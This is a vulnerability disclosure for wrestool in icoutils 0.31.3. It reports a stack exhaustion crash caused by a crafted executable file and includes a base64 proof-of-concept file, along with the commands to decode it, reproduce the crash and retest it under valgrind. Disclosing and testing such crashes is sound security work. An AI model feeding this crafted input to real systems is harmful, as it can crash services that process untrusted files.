Package: icoutils Version: 0.31.3
Machine: x86_64 OS: linux-gnu Compiler: gcc Compilation CFLAGS: "-ggdb3 -O0" Machine Type: x86_64-unknown-linux-gnu icoutils Version: 0.31.3 Release Status: release Author: Jerzy Kramarz
Description: A stack exhaustion was observed in wrestool when using specially crafted input file. No exploitable condition was observed other than eventually SIGSEGV is received. This issue can be triggered by processing a corrupted exe file and will result in wrestool crash. PoC file: TVoAAFBFAAAAAAAQAALp//8kAAIAQAGDZQIAAAD/ABMaEAL/3hgLAAIAAAAAAIABQIAAAAAAAv/e AABQRQAAAAAA/38CUEUAALgAAACAwrhAAmBCJTMzMzMzMzIzMzMVMzMzMzMzMwICADYAAAAAAACA wri4YGBUYAD///9/YAACYAD/gGBgYGAAAAAAgAEAGgAAAAACQN4YgAAAiv//HIAAIw/k/94YgN3/ if//ZAIe/3+IjOKnmqeX/2QAKw8CHv9/iIzi/wBR/xiQABoAAAAAAhiQABoAAAAAAv/eGIAAAJ7/ /4AAIy8C/94YDwIe/3+IjOKnmqeXsX8Y/wEAAtjY2Jexp2BlVmBgYGBgYGBgAAsBa2UCAAAA/wAT GhAC/94YAAACY2BgYGBgxqfJEAA26YABHv//gAAjDwL/3hg= To replicate this issue use the attached sample below and execute the following command: echo <above base64> > PoC.exe.b64 base64 -d PoC.exe.b64 > PoC.exe /home/ico-target/icoutils-0.31.3/wrestool/wrestool -l PoC.exe To retest this issue: valgrind -v --tool=drd --main-stacksize=32777216 --show-stack-usage=yes clean/icoutils-0.31.3/wrestool/wrestool -l PoC.exe
